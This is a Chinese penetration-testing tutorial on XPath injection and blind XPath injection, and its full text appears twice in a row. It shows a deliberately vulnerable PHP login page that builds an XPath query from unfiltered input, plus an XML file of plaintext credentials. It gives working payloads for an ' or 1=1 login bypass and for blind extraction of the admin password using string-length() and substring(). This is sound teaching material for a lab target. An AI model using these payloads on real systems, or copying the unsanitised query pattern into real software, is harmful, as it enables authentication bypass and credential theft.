102.网络安全渗透测试—[常规漏洞挖掘与利用篇18]—[xpath注入与盲注入]
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
- 一、xpath注入与盲注入
- 1、什么是xpath注入
- 2、什么是xpath盲注入
- 3、xpath查询基本语句
- 二、xpath注入示例
- 1、注入漏洞页面源码:xpath.php
- 2、注入漏洞页面关键源码分析
- 3、账户信息存储文件:`xpath_user.xml`
- 4、注入方法
- (1)万能密码登录:
- (2)payload分析:
- 5、盲注入
- (1)获取字符长度函数:`string-length()`
- (2)截取字符函数:`substring(start,length)`
一、xpath注入与盲注入
1、什么是xpath注入
XPath是一种查询语言,它描述了如何在XML文档中查找特定元素(包括属性、处理指令等)。既然是一种查询语言,XPath在一些方面与SQL相似
,不过,XPath的不同之处在于它可以用来引用XML文档的几乎任何部分,而不受访问控制限制。在SQL中,一个“用户”(在XPath/XML上下文中未定义的术语)的权限被限制在一个特定的数据库,表,列或者行。使用XPath注入攻击,攻击者可以修改XPath查询语句来执行所选择的操作。
2、什么是xpath盲注入
XPath盲注攻击可以从一个使用不安全方式嵌入用户信息的应用中提取数据。在输入未被过滤的情况下,攻击者可以提交并执行有效的XPath代码。这种类型的攻击适用于以下情况:攻击者不清楚XML文档的架构,或者错误消息被抑制,一次只能通过布尔化查询来获取部分信息,就像SQL盲注一样
。
3、xpath查询基本语句
以下是一个XPath查询语句,获取loginID为admin的所有user数据,用户需要提交正确的loginID和password才能返回结果。
//users/user[loginID/text()'admin' and password/text()='123456']
由于逻辑运算符的优先级NOT>OR>AND
,所以如果攻击者在 loginID 字段中输入:' or 1=1
并在 password 中输入:' or 1=1
构成恒成立
就能绕过校验,成功获取所有user数据。我们把这种绕过登录的方式称为万能密码登录
!!!
//users/user[LoginID/text()=''or 1=1 and password/text()=''or 1=1]
当前实验环境下,经过测试,万能密码还可以简化为:
//users/user[LoginID/text()=''or 1=1 and password/text()='111111111111']
二、xpath注入示例
1、注入漏洞页面源码:xpath.php
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<!--登录表单-->
<form method="POST">
用户名:<input type="text" name="username"><br>
密码:<input type="password" name="password"><br>
<input type="submit" value="登录" name="submit">
</form>
</body>
</html>
<?php
if(file_exists('xpath_user.xml')){
$xml=simplexml_load_file('xpath_user.xml');
//加载保存账户信息的xml文件
if($_POST['submit']){
$username=$_POST['username'];
$password=$_POST['password'];
$sql="//user[@username='{$username}' and @password='{$password}']";
//这条语句相当于select * from users where username='username' and password='password'
$resulit = $xml->xpath($sql);
if(count($resulit)==0){
echo '登录失败';
}else{
echo "登录成功";
}
}
}
?>
如下图所示,我们访问靶机上的/xpath.php
注入漏洞页面:
2、注入漏洞页面关键源码分析
$sql="//user[@username='{$username}' and @password='{$password}']";
//这条语句相当于select * from users where username='username' and password='password'
3、账户信息存储文件:xpath_user.xml
<?xml version="1.0" encoding="UTF-8"?>
<users>
<user id="1" username="admin" password="admin"></user>
<user id="2" username="root" password="admin"></user>
<user id="3" username="system" password="system"></user>
</users>
如下所示,我们也可以通过浏览器直接访问到该文件:(这里不该轻易的能够访问到的,因为此处我们只是把该文件放到了当前的网站根目录下了)
4、注入方法
(1)万能密码登录:
示例1-payload:username='or 1=1&password='or 1=1&submit=登录
如下图所示,我们使用火狐浏览器的hackbar插件POST提交用户名为'or 1=1
、密码为'or 1=1
,然后submit提交
,成功绕过登录验证!!!
示例2-payload简化:username='or 1=1&password='111111111111'&submit=登录
如下图所示,我们使用火狐浏览器的hackbar插件POST提交用户名为'or 1=1
、密码随便输入
,然后submit提交
,成功绕过登录验证!!!
(2)payload分析:
如下图所示,语句恒为真:
5、盲注入
(1)获取字符长度函数:string-length()
(2)截取字符函数:substring(start,length)
示例3-payload:username='and string-length(@password)=5 or '1=1&password=111111111111&submit=submit
如下图所示,admin用户的密码长度为5的时候显示登录成功!!!
示例4-payload:username=admin’and substring(@password,1,1)='a' or '1'='1&password=0&submit=submit
示例5-payload:username=admin’and substring(@password,2,1)='d' or 1=1&password=0&submit=submit
102.网络安全渗透测试—[常规漏洞挖掘与利用篇18]—[xpath注入与盲注入]
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
- 一、xpath注入与盲注入
- 1、什么是xpath注入
- 2、什么是xpath盲注入
- 3、xpath查询基本语句
- 二、xpath注入示例
- 1、注入漏洞页面源码:xpath.php
- 2、注入漏洞页面关键源码分析
- 3、账户信息存储文件:`xpath_user.xml`
- 4、注入方法
- (1)万能密码登录:
- (2)payload分析:
- 5、盲注入
- (1)获取字符长度函数:`string-length()`
- (2)截取字符函数:`substring(start,length)`
一、xpath注入与盲注入
1、什么是xpath注入
XPath是一种查询语言,它描述了如何在XML文档中查找特定元素(包括属性、处理指令等)。既然是一种查询语言,XPath在一些方面与SQL相似
,不过,XPath的不同之处在于它可以用来引用XML文档的几乎任何部分,而不受访问控制限制。在SQL中,一个“用户”(在XPath/XML上下文中未定义的术语)的权限被限制在一个特定的数据库,表,列或者行。使用XPath注入攻击,攻击者可以修改XPath查询语句来执行所选择的操作。
2、什么是xpath盲注入
XPath盲注攻击可以从一个使用不安全方式嵌入用户信息的应用中提取数据。在输入未被过滤的情况下,攻击者可以提交并执行有效的XPath代码。这种类型的攻击适用于以下情况:攻击者不清楚XML文档的架构,或者错误消息被抑制,一次只能通过布尔化查询来获取部分信息,就像SQL盲注一样
。
3、xpath查询基本语句
以下是一个XPath查询语句,获取loginID为admin的所有user数据,用户需要提交正确的loginID和password才能返回结果。
//users/user[loginID/text()'admin' and password/text()='123456']
由于逻辑运算符的优先级NOT>OR>AND
,所以如果攻击者在 loginID 字段中输入:' or 1=1
并在 password 中输入:' or 1=1
构成恒成立
就能绕过校验,成功获取所有user数据。我们把这种绕过登录的方式称为万能密码登录
!!!
//users/user[LoginID/text()=''or 1=1 and password/text()=''or 1=1]
当前实验环境下,经过测试,万能密码还可以简化为:
//users/user[LoginID/text()=''or 1=1 and password/text()='111111111111']
二、xpath注入示例
1、注入漏洞页面源码:xpath.php
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<!--登录表单-->
<form method="POST">
用户名:<input type="text" name="username"><br>
密码:<input type="password" name="password"><br>
<input type="submit" value="登录" name="submit">
</form>
</body>
</html>
<?php
if(file_exists('xpath_user.xml')){
$xml=simplexml_load_file('xpath_user.xml');
//加载保存账户信息的xml文件
if($_POST['submit']){
$username=$_POST['username'];
$password=$_POST['password'];
$sql="//user[@username='{$username}' and @password='{$password}']";
//这条语句相当于select * from users where username='username' and password='password'
$resulit = $xml->xpath($sql);
if(count($resulit)==0){
echo '登录失败';
}else{
echo "登录成功";
}
}
}
?>
如下图所示,我们访问靶机上的/xpath.php
注入漏洞页面:
2、注入漏洞页面关键源码分析
$sql="//user[@username='{$username}' and @password='{$password}']";
//这条语句相当于select * from users where username='username' and password='password'
3、账户信息存储文件:xpath_user.xml
<?xml version="1.0" encoding="UTF-8"?>
<users>
<user id="1" username="admin" password="admin"></user>
<user id="2" username="root" password="admin"></user>
<user id="3" username="system" password="system"></user>
</users>
如下所示,我们也可以通过浏览器直接访问到该文件:(这里不该轻易的能够访问到的,因为此处我们只是把该文件放到了当前的网站根目录下了)
4、注入方法
(1)万能密码登录:
示例1-payload:username='or 1=1&password='or 1=1&submit=登录
如下图所示,我们使用火狐浏览器的hackbar插件POST提交用户名为'or 1=1
、密码为'or 1=1
,然后submit提交
,成功绕过登录验证!!!
示例2-payload简化:username='or 1=1&password='111111111111'&submit=登录
如下图所示,我们使用火狐浏览器的hackbar插件POST提交用户名为'or 1=1
、密码随便输入
,然后submit提交
,成功绕过登录验证!!!
(2)payload分析:
如下图所示,语句恒为真:
5、盲注入
(1)获取字符长度函数:string-length()
(2)截取字符函数:substring(start,length)
示例3-payload:username='and string-length(@password)=5 or '1=1&password=111111111111&submit=submit
如下图所示,admin用户的密码长度为5的时候显示登录成功!!!
示例4-payload:username=admin’and substring(@password,1,1)='a' or '1'='1&password=0&submit=submit
示例5-payload:username=admin’and substring(@password,2,1)='d' or 1=1&password=0&submit=submit